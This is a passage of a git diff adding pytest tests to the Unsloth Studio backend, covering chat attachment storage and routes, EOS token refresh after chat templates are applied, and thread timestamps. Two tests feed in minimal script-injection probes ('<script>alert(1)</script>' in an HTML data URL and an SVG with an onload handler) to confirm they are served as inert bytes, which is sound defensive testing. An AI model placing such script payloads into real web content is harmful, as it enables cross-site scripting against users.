+def test_list_chat_attachments_survives_missing_thread_row(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_message("msg-1", attachments = [_image_attachment()]))
+    conn = sqlite3.connect(studio_db_path())
+    try:
+        conn.execute("DELETE FROM chat_threads WHERE id = 'thread-1'")
+        conn.commit()
+    finally:
+        conn.close()
+    records = studio_db.list_chat_attachments()
+    assert len(records) == 1
+    assert records[0]["threadTitle"] is None
+
+
+def test_list_chat_attachments_includes_compare_pair_id(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread(pair_id = "pair-1"))
+    studio_db.upsert_chat_message(_message("msg-compare", attachments = [_image_attachment()]))
+    record = studio_db.list_chat_attachments()[0]
+    assert record["threadId"] == "thread-1"
+    assert record["pairId"] == "pair-1"
+
+
+def test_list_chat_attachments_gone_after_thread_delete(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    studio_db.delete_chat_threads(["thread-1"])
+    assert studio_db.list_chat_attachments() == []
+
+
+# ---------------------------------------------------------------------------
+# Storage: get_chat_attachment / delete_chat_attachment
+# ---------------------------------------------------------------------------
+
+
+def test_get_chat_attachment_found_and_missing(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    attachment = studio_db.get_chat_attachment("msg-1", "att-1")
+    assert attachment is not None
+    assert attachment["content"][0]["image"] == PNG_DATA_URL
+    assert studio_db.get_chat_attachment("msg-1", "att-missing") is None
+    assert studio_db.get_chat_attachment("msg-missing", "att-1") is None
+
+
+def test_delete_chat_attachment_keeps_others(tmp_path, monkeypatch):
+    _seed(
+        tmp_path,
+        monkeypatch,
+        [_image_attachment("att-1"), _image_attachment("att-2", "other.png")],
+    )
+    assert studio_db.delete_chat_attachment("msg-1", "att-1") is True
+    assert studio_db.get_chat_attachment("msg-1", "att-1") is None
+    assert studio_db.get_chat_attachment("msg-1", "att-2") is not None
+    assert [r["id"] for r in studio_db.list_chat_attachments()] == ["att-2"]
+
+
+def test_delete_last_chat_attachment_stores_empty_list(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    assert studio_db.delete_chat_attachment("msg-1", "att-1") is True
+    # '[]' rather than NULL: a NULL attachments field reads back as missing
+    # and triggers the legacy IndexedDB backfill, resurrecting the deleted
+    # attachment on the next chat load.
+    assert _raw_attachments_json("msg-1") == "[]"
+    assert studio_db.list_chat_attachments() == []
+    # The message itself must survive with its content intact.
+    message = studio_db.get_chat_message("thread-1", "msg-1")
+    assert message is not None
+    assert message["content"] == [{"type": "text", "text": "hello"}]
+    assert message["attachments"] == []
+
+
+def test_delete_chat_attachment_missing_targets(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    assert studio_db.delete_chat_attachment("msg-missing", "att-1") is False
+    assert studio_db.delete_chat_attachment("msg-1", "att-missing") is False
+    _set_raw_attachments_json("msg-1", "not json")
+    assert studio_db.delete_chat_attachment("msg-1", "att-1") is False
+
+
+# ---------------------------------------------------------------------------
+# Routes: /attachments endpoints (real storage, direct calls)
+# ---------------------------------------------------------------------------
+
+
+def test_list_attachments_route(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    result = chat_history.list_attachments(current_subject = "unsloth")
+    assert [a["id"] for a in result["attachments"]] == ["att-1"]
+
+
+def test_attachment_file_serves_image_bytes(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == PNG_BYTES
+    assert response.media_type == "image/png"
+
+
+def test_attachment_file_tolerates_whitespace_in_base64(tmp_path, monkeypatch):
+    encoded = base64.b64encode(PNG_BYTES).decode("ascii")
+    wrapped = "\n".join(encoded[i : i + 8] for i in range(0, len(encoded), 8))
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + wrapped}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == PNG_BYTES
+
+
+def test_attachment_file_corrupt_base64_is_422(tmp_path, monkeypatch):
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:image/png;base64,%%%"}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert excinfo.value.status_code == 422
+
+
+def test_attachment_file_accepts_urlsafe_base64(tmp_path, monkeypatch):
+    data = bytes(range(251, 256)) * 3  # encodes to characters remapped by urlsafe
+    payload = base64.urlsafe_b64encode(data).decode("ascii")
+    assert "-" in payload or "_" in payload
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + payload}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == data
+
+
+def test_attachment_file_accepts_missing_padding(tmp_path, monkeypatch):
+    payload = base64.b64encode(PNG_BYTES).decode("ascii").rstrip("=")
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + payload}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == PNG_BYTES
+
+
+def test_attachment_file_serves_percent_encoded_data_url(tmp_path, monkeypatch):
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:text/plain,hello%20world"}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == b"hello world"
+    # Non-image data URL types are clamped so markup never renders same-origin.
+    assert response.media_type == "application/octet-stream"
+
+
+def test_attachment_file_serves_text_parts(tmp_path, monkeypatch):
+    attachment = {
+        "id": "att-txt",
+        "type": "document",
+        "name": "notes.txt",
+        "content": [
+            {"type": "text", "text": "first"},
+            {"type": "text", "text": "second"},
+        ],
+    }
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-txt", current_subject = "unsloth")
+    assert response.body.decode("utf-8") == "first\nsecond"
+    assert response.media_type.startswith("text/plain")
+
+
+def test_attachment_file_no_content_is_404(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [{"id": "att-empty", "name": "ghost", "content": []}])
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.get_attachment_file("msg-1", "att-empty", current_subject = "unsloth")
+    assert excinfo.value.status_code == 404
+
+
+def test_attachment_file_missing_message_is_404(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.get_attachment_file("nope", "att-1", current_subject = "unsloth")
+    assert excinfo.value.status_code == 404
+
+
+def test_attachment_file_non_data_url_image_is_404(tmp_path, monkeypatch):
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "https://example.com/a.png"}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert excinfo.value.status_code == 404
+
+
+def test_attachment_file_defaults_media_type(tmp_path, monkeypatch):
+    payload = base64.b64encode(b"raw-bytes").decode("ascii")
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:;base64," + payload}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == b"raw-bytes"
+    assert response.media_type == "application/octet-stream"
+
+
+def test_attachment_file_svg_media_type(tmp_path, monkeypatch):
+    svg = b"<svg xmlns='http://www.w3.org/2000/svg'/>"
+    payload = base64.b64encode(svg).decode("ascii")
+    attachment = _image_attachment()
+    attachment["content"] = [{"type": "image", "image": "data:image/svg+xml;base64," + payload}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth")
+    assert response.body == svg
+    # SVG can carry scripts, so it downloads as bytes instead of rendering.
+    assert response.media_type == "application/octet-stream"
+
+
+def test_delete_attachment_route_then_404(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    result = chat_history.delete_attachment("msg-1", "att-1", current_subject = "unsloth")
+    assert result == {"ok": True}
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.delete_attachment("msg-1", "att-1", current_subject = "unsloth")
+    assert excinfo.value.status_code == 404
+
+
+# ---------------------------------------------------------------------------
+# Audio attachments (adapter {data, format} and compare-chat bare base64)
+# ---------------------------------------------------------------------------
+
+WAV_BYTES = b"RIFF$\x00\x00\x00WAVEfmt \x10\x00\x00\x00\x01\x00\x01\x00"
+WAV_B64 = base64.b64encode(WAV_BYTES).decode("ascii")
+
+
+def _audio_attachment(attachment_id: str = "att-audio") -> dict:
+    return {
+        "id": attachment_id,
+        "type": "file",
+        "name": "clip.wav",
+        "contentType": "audio/wav",
+        "content": [{"type": "audio", "audio": {"data": WAV_B64, "format": "wav"}}],
+        "status": {"type": "complete"},
+    }
+
+
+def test_audio_attachment_lists_with_size(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_audio_attachment()])
+    records = studio_db.list_chat_attachments()
+    assert len(records) == 1
+    assert records[0]["id"] == "att-audio"
+    assert abs(records[0]["sizeBytes"] - len(WAV_BYTES)) <= 2
+
+
+def test_audio_attachment_file_serves_bytes(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_audio_attachment()])
+    response = chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth")
+    assert response.body == WAV_BYTES
+    assert response.media_type == "audio/wav"
+
+
+def test_audio_attachment_media_type_from_format(tmp_path, monkeypatch):
+    attachment = _audio_attachment()
+    attachment["contentType"] = None
+    attachment["content"] = [{"type": "audio", "audio": {"data": WAV_B64, "format": "mp3"}}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    response = chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth")
+    assert response.media_type == "audio/mpeg"
+
+
+def test_audio_attachment_corrupt_payload_is_422(tmp_path, monkeypatch):
+    attachment = _audio_attachment()
+    attachment["content"] = [{"type": "audio", "audio": {"data": "%%%", "format": "wav"}}]
+    _seed(tmp_path, monkeypatch, [attachment])
+    with pytest.raises(HTTPException) as excinfo:
+        chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth")
+    assert excinfo.value.status_code == 422
+
+
+# ---------------------------------------------------------------------------
+# Compare-chat uploads stored as message content parts
+# ---------------------------------------------------------------------------
+
+
+def _compare_message(message_id: str = "msg-cmp") -> dict:
+    return {
+        "id": message_id,
+        "threadId": "thread-1",
+        "parentId": None,
+        "role": "user",
+        "content": [
+            {"type": "image", "image": PNG_DATA_URL},
+            {"type": "audio", "audio": WAV_B64},
+            {"type": "text", "text": "compare these"},
+        ],
+        "createdAt": 1_700_000_000_000,
+    }
+
+
+def _seed_compare(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_compare_message())
+
+
+_CONTENT_PART_PREFIX = "content-part-sha256-"
+
+
+def _content_part_id_for(message_id: str, kind: str) -> str:
+    """Resolve the stable content-hash id for a message's stored blob.
+
+    Content-part ids are SHA-256 hashes of the blob payload, not array
+    indices, so tests look them up from the listing instead of hardcoding an
+    index that would shift when an earlier part is deleted.
+    """
+    for record in studio_db.list_chat_attachments():
+        if record["messageId"] == message_id and record["type"] == kind:
+            return record["id"]
+    raise AssertionError(f"no {kind} content-part upload for {message_id}")
+
+
+def test_content_part_uploads_are_listed(tmp_path, monkeypatch):
+    _seed_compare(tmp_path, monkeypatch)
+    records = studio_db.list_chat_attachments()
+    # Ids are stable content hashes, not array indices.
+    assert all(r["id"].startswith(_CONTENT_PART_PREFIX) for r in records)
+    assert {r["type"] for r in records} == {"image", "audio"}
+    image = next(r for r in records if r["type"] == "image")
+    assert image["contentType"] == "image/png"
+    assert abs(image["sizeBytes"] - len(PNG_BYTES)) <= 2
+    audio = next(r for r in records if r["type"] == "audio")
+    assert audio["type"] == "audio"
+
+
+def test_content_part_file_serves_image_bytes(tmp_path, monkeypatch):
+    _seed_compare(tmp_path, monkeypatch)
+    image_id = _content_part_id_for("msg-cmp", "image")
+    response = chat_history.get_attachment_file("msg-cmp", image_id, current_subject = "unsloth")
+    assert response.body == PNG_BYTES
+    assert response.media_type == "image/png"
+
+
+def test_content_part_delete_keeps_text(tmp_path, monkeypatch):
+    _seed_compare(tmp_path, monkeypatch)
+    image_id = _content_part_id_for("msg-cmp", "image")
+    assert studio_db.delete_chat_attachment("msg-cmp", image_id) is True
+    message = studio_db.get_chat_message("thread-1", "msg-cmp")
+    types = [p["type"] for p in message["content"]]
+    assert types == ["audio", "text"]
+    # The surviving audio blob keeps its own stable hash id after the delete.
+    remaining = studio_db.list_chat_attachments()
+    assert [r["type"] for r in remaining] == ["audio"]
+    assert remaining[0]["id"].startswith(_CONTENT_PART_PREFIX)
+    assert remaining[0]["id"] != image_id
+
+
+def test_content_part_delete_rejects_non_blob(tmp_path, monkeypatch):
+    _seed_compare(tmp_path, monkeypatch)
+    # The text part is not a stored upload, so it never gets an id: only the
+    # image and audio blobs are addressable.
+    assert len(studio_db.list_chat_attachments()) == 2
+    # A well-formed but unknown content-hash id, and malformed ids, all no-op.
+    assert studio_db.delete_chat_attachment("msg-cmp", _CONTENT_PART_PREFIX + "0" * 64) is False
+    assert studio_db.delete_chat_attachment("msg-cmp", "content-part-99") is False
+    assert studio_db.delete_chat_attachment("msg-cmp", "content-part-x") is False
+
+
+def test_text_only_messages_not_listed_as_uploads(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    # The word "image" inside text must not create phantom upload rows.
+    message = _message("msg-txt")
+    message["content"] = [{"type": "text", "text": 'discussing an "image" and "audio" here'}]
+    studio_db.upsert_chat_message(message)
+    assert studio_db.list_chat_attachments() == []
+
+
+def test_remote_image_urls_are_not_listed_as_uploads(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    message = _message("msg-remote")
+    message["content"] = [
+        {"type": "image", "image": "https://example.com/cat.png"},
+        {"type": "text", "text": "look at this"},
+    ]
+    studio_db.upsert_chat_message(message)
+    # No stored bytes: nothing to list, open, or delete.
+    assert studio_db.list_chat_attachments() == []
+    assert studio_db.get_chat_attachment("msg-remote", "content-part-0") is None
+    assert studio_db.delete_chat_attachment("msg-remote", "content-part-0") is False
+    stored = studio_db.get_chat_message("thread-1", "msg-remote")
+    assert [p["type"] for p in stored["content"]] == ["image", "text"]
+
+
+def test_html_data_url_serves_as_octet_stream(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    html_b64 = base64.b64encode(b"<script>alert(1)</script>").decode()
+    message = _message("msg-html")
+    message["content"] = [
+        {"type": "image", "image": f"data:text/html;base64,{html_b64}"},
+    ]
+    studio_db.upsert_chat_message(message)
+    attachment_id = _content_part_id_for("msg-html", "image")
+    response = chat_history.get_attachment_file(
+        "msg-html", attachment_id, current_subject = "unsloth"
+    )
+    # Never echo a script-capable media type back under the app origin.
+    assert response.media_type == "application/octet-stream"
+    assert response.body == b"<script>alert(1)</script>"
+
+
+def test_svg_data_url_serves_as_octet_stream(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    svg_b64 = base64.b64encode(b"<svg onload='x'/>").decode()
+    message = _message("msg-svg")
+    message["content"] = [
+        {"type": "image", "image": f"data:image/svg+xml;base64,{svg_b64}"},
+    ]
+    studio_db.upsert_chat_message(message)
+    attachment_id = _content_part_id_for("msg-svg", "image")
+    response = chat_history.get_attachment_file("msg-svg", attachment_id, current_subject = "unsloth")
+    assert response.media_type == "application/octet-stream"
+
+
+def test_png_data_url_keeps_its_media_type(tmp_path, monkeypatch):
+    _seed_compare(tmp_path, monkeypatch)
+    image_id = _content_part_id_for("msg-cmp", "image")
+    response = chat_history.get_attachment_file("msg-cmp", image_id, current_subject = "unsloth")
+    assert response.media_type == "image/png"
diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py
new file mode 100644
index 0000000000..75d0117015
--- /dev/null
+++ b/studio/backend/tests/test_chat_eos_template_refresh.py
@@ -0,0 +1,194 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Mapper models whose own tokenizer ships no chat_template have their turn-end
+eos resolved at LOAD from an empty template (document eos only). The effective
+template is installed later, at generate time, via get_chat_template, so the
+turn-end-eos cache must be refreshed then; otherwise generate_stream runs past
+the ChatML <|im_end|> boundary and loops (the exact bug this PR fixes).
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+# These tests construct InferenceBackend, pulling the full stack. CI may lack
+# unsloth/unsloth_zoo (ImportError) or have a broken CUDA/bitsandbytes setup
+# (RuntimeError); skip at module level so collection is not aborted (exit 2).
+try:
+    from core.inference import inference as inf_mod  # noqa: E402
+    from core.inference.inference import InferenceBackend  # noqa: E402
+except (ImportError, RuntimeError) as exc:  # pragma: no cover - env-dependent
+    pytest.skip(
+        f"full inference backend unavailable ({type(exc).__name__}: {exc})",
+        allow_module_level = True,
+    )
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+_GEMMA = "{% for m in messages %}<start_of_turn>{{m.role}}\n{{m.content}}<end_of_turn>{% endfor %}"
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.pad_token_id = eos_id
+        self.unk_token_id = None
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok)
+
+
+def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch):
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/qwen2.5-0.5b"
+
+    # No chat_template at load, so the cache stored only the document eos, though
+    # <|im_end|> is atomic in the vocab (unused until the mapper installs a template).
+    bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645})
+    model_info = {
+        "tokenizer": bare_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [151643],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time.
+    templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False
+    )
+
+    # Stub the tail so the generator runs through the refresh without a real model.
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # After the template is applied the cache must include the ChatML turn-end id.
+    assert model_info["chat_turn_end_eos_ids"] == [151643, 151645]
+
+
+def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkeypatch):
+    # Regression: get_chat_template can return a remapped tokenizer (Gemma: <end_of_turn>
+    # folded onto the eos id) while generate_stream re-reads the original. Resolving on
+    # the swap yields a narrower set, so the refresh must UNION, never overwrite.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-2b-it"
+
+    # Original tokenizer (used by generate_stream): <end_of_turn>=107 distinct from
+    # eos=1, so the load-time cache resolved to [1, 107].
+    orig_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 107})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [1, 107],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Destructively-swapped tokenizer: <end_of_turn> now maps onto eos id 1, so
+    # resolving on it yields only [1] (drops 107).
+    swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 1})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The load-time <end_of_turn>=107 must survive: overwriting with the swapped
+    # [1] would regress and loop past the turn.
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+
+
+def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkeypatch):
+    # Yi-style map_eos_token=True: the original carries <|im_end|> at its own id, but
+    # get_chat_template folds it onto the doc-eos id. generate_stream uses the original,
+    # so read marker strings from the mapped template but ids from the original.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "01-ai/yi-6b"
+
+    # Original: no template of its own, doc eos = 2, <|im_end|> atomic = 7.
+    orig_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [2],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2.
+    remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2.
+    assert model_info["chat_turn_end_eos_ids"] == [2, 7]
+
+
+class _FakeProcessor:
+    """A ProcessorMixin-like container: carries the chat_template itself and
+    wraps the real text tokenizer as ``.tokenizer`` (the vision layout)."""
+
+    def __init__(self, chat_template, tokenizer):
+        self.chat_template = chat_template
+        self.tokenizer = tokenizer
+
+
+def test_resolve_chat_eos_reads_vision_processor_template():
+    # Vision model: the chat_template lives on the processor while the inner tokenizer
+    # ships none. _resolve_chat_eos must read the marker from the processor but resolve
+    # its id on the inner tokenizer, and repair generation_config.
+    from types import SimpleNamespace
+
+    inner_tok = _FakeTokenizer(1, chat_template = "", token_ids = {"<end_of_turn>": 107})
+    processor = _FakeProcessor(_GEMMA, inner_tok)
+    model = SimpleNamespace(generation_config = SimpleNamespace(eos_token_id = 1))
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-3-4b-it"
+    model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True}
+    backend.models = {backend.active_model_name: model_info}
+
+    backend._resolve_chat_eos(backend.active_model_name)
+
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+    # generation_config repaired so the vision .generate() path stops at the turn.
+    assert model.generation_config.eos_token_id == [1, 107]
diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py
index 2a6ebe244f..a60ac700bf 100644
--- a/studio/backend/tests/test_chat_history_routes.py
+++ b/studio/backend/tests/test_chat_history_routes.py
@@ -91,6 +91,17 @@ def test_chat_settings_payload_accepts_fast_mode_presets():
     assert dumped["customPresets"][0]["params"]["fastMode"] is True
 
 
+def test_chat_settings_payload_accepts_nudge_tool_calls():
+    # extra="forbid" 400s PUT /api/chat/settings on unknown keys, so the
+    # frontend's persisted nudgeToolCalls needs a payload field (like
+    # autoHealToolCalls).
+    payload = chat_history.ChatSettingsPayload.model_validate(
+        {"autoHealToolCalls": True, "nudgeToolCalls": False}
+    )
+    dumped = payload.model_dump(exclude_unset = True)
+    assert dumped == {"autoHealToolCalls": True, "nudgeToolCalls": False}
+
+
 def test_chat_inference_settings_covers_frontend_persisted_fields():
     # Drift guard: every InferenceParams field the UI persists (all but
     # checkpoint) must exist on ChatInferenceSettings, else extra="forbid"
diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py
index aa19df15fe..0239410734 100644
--- a/studio/backend/tests/test_chat_history_storage.py
+++ b/studio/backend/tests/test_chat_history_storage.py
@@ -4,6 +4,7 @@
 import os
 import platform
 import shutil
+import sqlite3
 import threading
 import uuid
 from pathlib import Path
@@ -11,6 +12,7 @@ from pathlib import Path
 import pytest
 
 from storage import studio_db
+from utils.paths import studio_db_path
 
 
 def _reset_studio_db(
@@ -108,6 +110,138 @@ def test_sync_chat_messages_upserts_without_pruning(tmp_path, monkeypatch):
     assert by_id["msg-2"]["content"] == [{"type": "text", "text": "updated text"}]
 
 
+def test_chat_thread_updated_at_bumps_on_message_writes(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    assert thread["updatedAt"] == thread["createdAt"]
+
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.upsert_chat_message(_message("msg-0", 1_600_000_000_000, "old"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-2", 1_700_000_001_000, "newer")],
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+
+def test_chat_thread_updated_at_recomputed_when_pruning(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [
+            _message("msg-1", 1_700_000_000_500, "older"),
+            _message("msg-2", 1_700_000_001_000, "newest"),
+        ],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+    # Pruning the newest message must lower updated_at to the remaining one.
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-1", 1_700_000_000_500, "older")],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    # Pruning every message falls back to created_at.
+    studio_db.sync_chat_messages("thread-1", [], prune_missing = True)
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == thread["createdAt"]
+
+
+def test_chat_thread_updated_at_survives_thread_resave(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+
+    studio_db.upsert_chat_thread(_thread())
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+
+def test_list_chat_threads_orders_by_last_activity(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    older = _thread("thread-old")
+    older["createdAt"] = 1_700_000_000_000
+    newer = _thread("thread-new")
+    newer["createdAt"] = 1_700_000_100_000
+    studio_db.upsert_chat_thread(older)
+    studio_db.upsert_chat_thread(newer)
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-new", "thread-old"]
+
+    studio_db.upsert_chat_message(
+        _message("msg-1", 1_700_000_200_000, "hi", thread_id = "thread-old")
+    )
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-old", "thread-new"]
+
+
+def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    db_path = studio_db_path()
+    db_path.parent.mkdir(parents = True, exist_ok = True)
+    conn = sqlite3.connect(str(db_path))
+    try:
+        conn.execute(
+            """
+            CREATE TABLE chat_threads (
+                id TEXT NOT NULL PRIMARY KEY,
+                title TEXT NOT NULL,
+                model_type TEXT NOT NULL,
+                model_id TEXT,
+                pair_id TEXT,
